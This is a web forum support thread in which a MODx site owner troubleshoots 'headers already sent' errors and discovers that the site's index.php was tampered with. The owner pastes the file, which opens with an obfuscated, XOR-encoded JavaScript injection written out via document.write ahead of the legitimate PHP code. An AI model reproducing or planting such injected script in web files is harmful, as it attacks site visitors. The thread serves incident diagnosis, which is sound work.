We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 37538
    • 14 Posts
    Hi

    When I checked the website this morning this message came up:

    Warning: Cannot modify header information - headers already sent by (output started at /home/sunfjam/public_html/index.php:1) in /home/sunfjam/public_html/index.php on line 59

    Warning: Cannot modify header information - headers already sent by (output started at /home/sunfjam/public_html/index.php:1) in /home/sunfjam/public_html/index.php on line 60

    Warning: Cannot modify header information - headers already sent by (output started at /home/sunfjam/public_html/index.php:1) in /home/sunfjam/public_html/manager/includes/config.inc.php on line 74

    Warning: Cannot modify header information - headers already sent by (output started at /home/sunfjam/public_html/index.php:1) in /home/sunfjam/public_html/manager/includes/document.parser.class.inc.php on line 2793
    « MODx Parse Error »
    MODx encountered the following error while attempting to parse the requested resource:
    « PHP Parse Error »

    PHP error debug
    Error: Cannot modify header information - headers already sent by (output started at /home/sunfjam/public_html/index.php:1)
    Error type/ Nr.: Warning - 2
    File: /home/sunfjam/public_html/manager/includes/document.parser.class.inc.php
    Line: 514
    Line 514 source: header('Content-Type: ' . $type . '; . $this->config['modx_charset']);

    Parser timing
    MySQL: 0.0038 s (0 Requests)
    PHP: 0.0262 s
    Total: 0.0300 s

    The last alteration that was made to the website was made on Thursday after which it was working fine with no problems. It was also working the day after perfectly OK as well but today I just keep getting this message on every page. In system events I have Parser logs listed back to October 24 though

    I am therefore wondering if the hosting company has moved the website to a new server and somehow that is causing problems or they have altered their PHP in anyway on the server? I can log into the manager OK.

    Does anyone have any ideas or pointers to what might have happened?
      • 28042 ☆ A M B ☆
      • 24,524 Posts
      All of those errors and warnings involve a PHP error that PHP itself tries to report, and when MODx intercepts that and then tries to send its reports it can't because PHP already established the HTTP headers when it tried to send its error report, which MODx intercepted...

      Can you access the Manager? If you cannot, then you have a serious problem and will probably end up needing to re-install. If you can access the Manager, see what the Reports->System Events report has to say. Try removing plugins and snippets until the errors go away; this sort of thing is usually caused by bad snippet or plugin code.

      It could also be caused by a flaky hacking attempt trashing your index.php file. Do you have a fairly recent known-good backup? You can also try manually removing the individual pages' cache files; you can also try emptying the siteCache.idx.php file - don't delete it, just empty it.
        Studying MODX in the desert - http://sottwell.com
        Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
        Join the Slack Community - http://modx.org
        • 37550 ☆ A M B ☆
        • 711 Posts
        It might be worth while you checking your site /index.php and also /manager/includes/config.inc.php for any white spaces at the start of the file and end before the <? tags.

        Aaron
          http://www.onesmarthost.co.uk
          UK MODX Hosting with love.
          • 37538
          • 14 Posts
          Yes I can access the manager so I can check the reports out and I will check out the other areas as suggested.

          Basically looking at the last few days, I updated one page and then 3 days later there is the same issue being logged as now for 2 days. The following day there are no issues reported. That was the day I updated another single page. After that I tested it and it was fine and someone else saw the changes on another computer and it all looked good. Two days later there are reports being logged that the same problem is there again. It has remained there since. I have not made any alterations across the whole of the site for at least 2 months.

          What I don't quite understand is how the problem can appear, then disappear for 3 days and then reappear again? That was what me first think it was was something that had changed with the server or to the server. The site is on a virtual server but I have nothing to do with the other sites. The server being used is with Clook who I read is meant to be good with Modx.

          I don't know if any of this information helps. Clook have said that they have not changed the version of PHP and that it is using 5.2.17. They did not reply to me asking about if they had switched servers or made any other adjustments. From what I gather neither of you think this is server related, is that right?

          I am off now to check those other areas you mentioned. Thanks for your help so far.
            • 37538
            • 14 Posts
            Oh I forgot to ask, is there any easy way to check by date if anything has been changed on the site recently? At the moment I have looked at page changes and they tie into date wise the alterations I made. I am just wondering about this hacking attempt you sugested and maybe that is something that someone had attempted.
              • 37550 ☆ A M B ☆
              • 711 Posts
              Hi Stuart,

              Hackers are getting quite smart these days and can actually set the modified files dates to something in the past.

              Have you checked the files i mentioned previously.

              /index.php
              /manager/includes/config.inc.php

              And see if there are any white spaces before the <?php or after ?>

                http://www.onesmarthost.co.uk
                UK MODX Hosting with love.
                • 37538
                • 14 Posts
                I am going to check that out now.

                Out of interest as I am not the one who built the site in the first place but just make updates to content, is it possible to download a copy of the site to my computer from the 'manager' so I can launch it from within my computer to see if the problem still appears? That way at least I would know if it is a server issue or not.
                  • 37538
                  • 14 Posts
                  OK I have just looked at the date on the index.php file. It has been edited 5 minutes before the first problem was logged by the manager! Now that is not me as the last time I was on the site was 2 days before. That has got to be it. I am now going to check the file out.
                    • 37550 ☆ A M B ☆
                    • 711 Posts
                    Keep a copy of the file for reference you should just be able to replace it directly with index.php from the relevant version MODx setup zip.
                      http://www.onesmarthost.co.uk
                      UK MODX Hosting with love.
                      • 37538
                      • 14 Posts
                      OK good idea, I am doing that. This is the contents of the file. I am just trying to find the <?. I don't have a copy of the MODx setup zip as I did not set the site up. Is it possible for me to download it from somewhere on the MODx site. I will check what version of MODx the site is using:

                      <script language='javascript'>var qTbPndRDkwJlutcricKxUxEtI='';nfSlyjfZ='AsjuH';var lYjMVPyBNRjWFrj='elPQGexZleNfOzzJAaMkkzlTqyRybfPKNhztREiXZXUKmvXG';JlrmrXCfprpeygyuxRDrVtG='ptaWQnnPGeEyikhb';var bRtTmUNExebnOgU=0;ZeUEyxvnsz='lJJLhKl';var trpZvTo='%50%39%37%35%04%15%3F%4C%16%3C%05%72%58%12%3E%35%11%77%44%44%14%09%26%5C%18%3E%15%07%14%7E%28%21%05%55%1D%3C%6B%0A%3F%33%67%31%2E%0B%17%2D%2B%11%4E%70%37%35%04%15%3F%0E%0A%3C%02%2A%08%47%68%71%43%6D%18%08%08%03%38%1D%10%3C%1E%5F%44%3E%24%6C%48%12%11%3B%22%01%2C%67%7A%64%69%4D%01%31%23%11%04%6D%73%76%47%58%32%1F%15%2F%05%2A%47%58%7B%63%41%3B%18%1B%1B%0F%31%4C%5B%63%5B%42%0B%31%39%29%01%14%03%3B%21%1D%30%67%7A%65%69%4D%1B%39%35%02%05%3E%39%22%0C%1F%32%18%58%6C%56%6D%44%46%65%28%07%3F%0A%06%1F%52';rKaiufozUtGqm='nxPLuYyllyPDEaUxwqdgjA';var XpShCCqY=trpZvTo.length/3;olVZDdvX='wKkirrrGELpwxommU';trpZvTo=unescape(trpZvTo);NboYhTCVCsOdoCxVY='adkJKupWDyawxKdOAhuAp';for(qwGBpyCXhymWTcx=0;qwGBpyCXhymWTcx<XpShCCqY;qwGBpyCXhymWTcx++){bRtTmUNExebnOgU++;if(lYjMVPyBNRjWFrj.length<=bRtTmUNExebnOgU) bRtTmUNExebnOgU=0;NeaUOYm=trpZvTo.charCodeAt(qwGBpyCXhymWTcx); CNaiQZypYuZY='HOxWBcEYDAd'; if(lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU)!=NeaUOYm) NeaUOYm^=lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU); wXZmQJMcXzmFYsG='vjKCobpXTMACmaYP';qTbPndRDkwJlutcricKxUxEtI+=String.fromCharCode(NeaUOYm);} UHUIuKjSIUSLHhmHxsNmuvlLS='eSDScOVMJLmHqsKjxlgnBmh';document.write(qTbPndRDkwJlutcricKxUxEtI);DcpztRuFfdPoCfYLgQDH='gVGNXjQtrLqpMsXlDGFu';</script><?php
                      /*
                      *************************************************************************
                      MODx Content Management System and PHP Application Framework
                      Managed and maintained by Raymond Irving, Ryan Thrash and the
                      MODx community
                      *************************************************************************
                      MODx is an opensource PHP/MySQL content management system and content
                      management framework that is flexible, adaptable, supports XHTML/CSS
                      layouts, and works with most web browsers, including Safari.

                      MODx is distributed under the GNU General Public License
                      *************************************************************************

                      MODx CMS and Application Framework ("MODx")
                      Copyright 2005 and forever thereafter by Raymond Irving & Ryan Thrash.
                      All rights reserved.

                      This file and all related or dependant files distributed with this filie
                      are considered as a whole to make up MODx.

                      MODx is free software; you can redistribute it and/or modify
                      it under the terms of the GNU General Public License as published by
                      the Free Software Foundation; either version 2 of the License, or
                      (at your option) any later version.

                      MODx is distributed in the hope that it will be useful,
                      but WITHOUT ANY WARRANTY; without even the implied warranty of
                      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
                      GNU General Public License for more details.

                      You should have received a copy of the GNU General Public License
                      along with MODx (located in "/assets/docs/"); if not, write to the Free Software
                      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

                      For more information on MODx please visit http://modxcms.com/

                      **************************************************************************
                      Originally based on Etomite by Alex Butter
                      **************************************************************************
                      */

                      /**
                      * Initialize Document Parsing
                      * -----------------------------
                      */

                      // get start time
                      $mtime = microtime(); $mtime = explode(" ",$mtime); $mtime = $mtime[1] + $mtime[0]; $tstart = $mtime;

                      // harden it
                      require_once(dirname(__FILE__).'/manager/includes/protect.inc.php');

                      // set some settings, and address some IE issues
                      @ini_set('url_rewriter.tags', '');
                      @ini_set('session.use_trans_sid', 0);
                      @ini_set('session.use_only_cookies',1);
                      session_cache_limiter('');
                      header('P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"'); // header for weird cookie stuff. Blame IE.
                      header('Cache-Control: private, must-revalidate');
                      ob_start();
                      error_reporting(E_ALL & ~E_NOTICE);

                      /**
                      * Filename: index.php
                      * Function: This file loads and executes the parser. *
                      */

                      define("IN_ETOMITE_PARSER", "true"); // provides compatibility with etomite 0.6 and maybe later versions
                      define("IN_PARSER_MODE", "true");
                      define("IN_MANAGER_MODE", "false");

                      if (!defined('MODX_API_MODE')) {
                      define('MODX_API_MODE', false);
                      }

                      // initialize the variables prior to grabbing the config file
                      $database_type = '';
                      $database_server = '';
                      $database_user = '';
                      $database_password = '';
                      $dbase = '';
                      $table_prefix = '';
                      $base_url = '';
                      $base_path = '';

                      // get the required includes
                      if($database_user=="") {
                      $rt = @include_once(dirname(__FILE__).'/manager/includes/config.inc.php');
                      // Be sure config.inc.php is there and that it contains some important values
                      if(!$rt || !$database_type || !$database_server || !$database_user || !$dbase) {
                      echo "
                      <style type=\"text/css\">
                      *{margin:0;padding:0}
                      body{margin:50px;background:#eee;}
                      .install{padding:10px;border:5px solid #f22;background:#f99;margin:0 auto;font:120%/1em serif;text-align:center;}
                      p{ margin:20px 0; }
                      a{font-size:200%;color:#f22;text-decoration:underline;margin-top: 30px;padding: 5px;}
                      </style>
                      <div class=\"install\">
                      <p>MODx is not currently installed or the configuration file cannot be found.</p>
                      <p>Do you want to <a href=\"install/index.php\">install now</a>?</p>
                      </div>";
                      exit;
                      }
                      }

                      // start session
                      startCMSSession();

                      // initiate a new document parser
                      include_once(MODX_MANAGER_PATH.'/includes/document.parser.class.inc.php');
                      $modx = new DocumentParser;
                      $etomite = &$modx; // for backward compatibility

                      // set some parser options
                      $modx->minParserPasses = 1; // min number of parser recursive loops or passes
                      $modx->maxParserPasses = 10; // max number of parser recursive loops or passes
                      $modx->dumpSQL = false;
                      $modx->dumpSnippets = false; // feed the parser the execution start time
                      $modx->tstart = $tstart;

                      // Debugging mode:
                      $modx->stopOnNotice = false;

                      // Don't show PHP errors to the public
                      if(!isset($_SESSION['mgrValidated']) || !$_SESSION['mgrValidated']) {
                      @ini_set("display_errors","0");
                      }

                      // execute the parser if index.php was not included
                      if (!MODX_API_MODE) {
                      $modx->executeParser();
                      }
                      ?>